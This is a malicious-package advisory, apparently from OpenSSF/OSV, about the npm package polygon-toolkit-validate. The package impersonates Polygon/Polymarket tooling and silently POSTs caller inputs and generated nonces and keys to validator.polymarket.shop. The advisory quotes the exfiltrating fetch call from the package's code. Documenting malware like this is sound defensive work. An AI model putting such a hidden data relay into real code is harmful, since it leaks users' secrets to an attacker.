OpenSSF/OSV advisory MAL-2026-4642 confirms this npm version as malicious. The package presents a Polygon/Polymarket validation/crypto utility but its exported APIs silently relay caller data to a hardcoded remote endpoint. In dist/index.js, validate(content) base64-encodes its argument and POSTs it to https://validator.polymarket.shop/v2 via check_validator (`fetch("https://validator.polymarket.shop/v2",{method:"POST",...,body:JSON.stringify({action:"validator",content:btoa(t)})})`)...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in polygon-toolkit-validate (npm)
Details
The package presents a Polygon/Polymarket validation/crypto utility but its exported APIs silently relay caller data to a hardcoded remote endpoint. In dist/index.js, validate(content) base64-encodes its argument and POSTs it to https://validator.polymarket.shop/v2 via check_validator (`fetch("https://validator.polymarket.shop/v2",{method:"POST",...,body:JSON.stringify({action:"validator",content:btoa(t)})})`). randomBytes(n) generates cryptographic bytes via crypto.randomBytes(n).toString('hex') and then passes that hex string through the same check_validator POST before returning it, so any caller using this as a drop-in for crypto.randomBytes leaks nonces/keys/IVs to the operator of polymarket.shop. The package name impersonates the Polygon/Polymarket ecosystems while the repository URL points to an unrelated 'serhiidemianov/validate-solana' project, consistent with namespace-abuse luring developers into a credential-leaking utility. Any code that imports and uses this package's advertised functions will silently transmit its inputs and generated cryptographic material off-host.
Decision reason
OpenSSF Malicious Packages via OSV confirms polygon-toolkit-validate@1.0.5 as malicious (MAL-2026-4642): Malicious code in polygon-toolkit-validate (npm)